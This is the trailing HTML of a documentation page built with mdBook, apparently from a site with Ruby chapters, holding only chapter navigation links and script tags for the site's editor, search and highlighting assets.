                            <a rel="next" href="../../posts/ruby/setup_ruby_for_ctf.html" class="mobile-nav-chapters next" title="Next chapter" aria-label="Next chapter" aria-keyshortcuts="Right">
                                <i class="fa fa-angle-right"></i>
                            </a>

                        <div style="clear: both"></div>
                    </nav>
                </div>
            </div>

            <nav class="nav-wide-wrapper" aria-label="Page navigation">
                    <a rel="prev" href="../../posts/ruby/learn_ruby.html" class="nav-chapters previous" title="Previous chapter" aria-label="Previous chapter" aria-keyshortcuts="Left">
                        <i class="fa fa-angle-left"></i>
                    </a>

                    <a rel="next" href="../../posts/ruby/setup_ruby_for_ctf.html" class="nav-chapters next" title="Next chapter" aria-label="Next chapter" aria-keyshortcuts="Right">
                        <i class="fa fa-angle-right"></i>
                    </a>
            </nav>

        </div>



        <script>
            window.playground_line_numbers = true;
        </script>

        <script>
            window.playground_copyable = true;
        </script>

        <script src="../../ace.js"></script>
        <script src="../../editor.js"></script>
        <script src="../../mode-rust.js"></script>
        <script src="../../theme-dawn.js"></script>
        <script src="../../theme-tomorrow_night.js"></script>

        <script src="../../elasticlunr.min.js"></script>
        <script src="../../mark.min.js"></script>
        <script src="../../searcher.js"></script>

        <script src="../../clipboard.min.js"></script>
        <script src="../../highlight.js"></script>
        <script src="../../book.js"></script>

        <!-- Custom JS scripts -->
        <script src="../../src/js/custom.js"></script>


    </div>
    </body>
</html>
